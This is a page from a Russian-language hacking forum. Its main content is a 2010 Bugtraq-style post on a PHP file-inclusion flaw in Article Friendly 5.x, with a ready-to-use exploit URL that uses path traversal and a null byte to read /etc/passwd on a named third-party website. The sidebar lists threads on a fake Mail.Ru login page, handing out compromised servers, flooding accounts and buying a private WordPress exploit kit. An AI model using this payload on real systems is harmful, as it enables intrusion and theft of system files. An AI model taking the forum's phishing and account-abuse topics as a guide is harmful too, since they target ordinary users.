Форум [ ssl ] Друзья О Клубе

Последнее на Форуме

нужен Visual c# 2010 ответ от cannibal_pro 09/09 06:54
Интерессные факты науки ответ от Kvatra 09/09 06:35
Ключи к файлообменникам Depositfiles Letitbit Vip-File Vip4sms ответ от Sevil 09/09 05:31
Космическая музыка ответ от ihtr5 09/09 02:58
Фейк открытка с формой входа Mail.Ru ответ от Yana125 09/09 02:15
ICQ 259888475 Кинул на дедик ответ от shtaketik 09/09 02:01
Задай вопрос/получи ответ ответ от zzzz_sasha_zzzz 09/09 01:42
Бесплатная раздача дедиков ответ от TrambleR 09/09 00:43
Игра в слов ответ от Paradox 08/09 23:40
базы мобильных операторов ответ от zzzz_sasha_zzzz 08/09 23:36
Оценка uin ответ от bohdan21739 08/09 23:32
как заспамить контакт до того чтобы ак закрыли на пару дней? ответ от OXOTHuK 08/09 23:19
Отправка СМС и ММС с ПК. ответ от zzzz_sasha_zzzz 08/09 23:19
Куплю приватную связку под wordpress ответ от master149 08/09 23:08
видео уроки ответ от HE XAKEP 08/09 23:07

Пожертвования

Пожертвуйте на развитие проекта
через смс
Кошельки WebMoney:
Z583322939655
E121331800314
R274644017049

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Bugtraq

[ Добавить Материал ]

PHP-инклудинг в Article Friendly

Bugtraq /

Программа: Article Friendly 5.x

Описание:

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "filename" сценарием admin/index.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Эксплоит:

http://www.familyfriendsphotos.com/admin/index.php?filename=../../../../../../../../../../etc/passwd%00

Материал добавил SokoL

Комментарии(0)

Дата: 2010-03-02 20:06:22

Добавить Комментарий к Материалу

Комментариев к Материалу пока нету. Вы будете первый, кто оставит здесь комментарий

Облачко

Последнее на Сайте

Новости

Статьи

Файлы

Bugtraq

Copyright © 2008 - 2010 «HACKER-PRO CLUB». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
hacker-pro.net engine v. 3.1 Coded by SokoL Пользовательское соглашение Реклама на сайте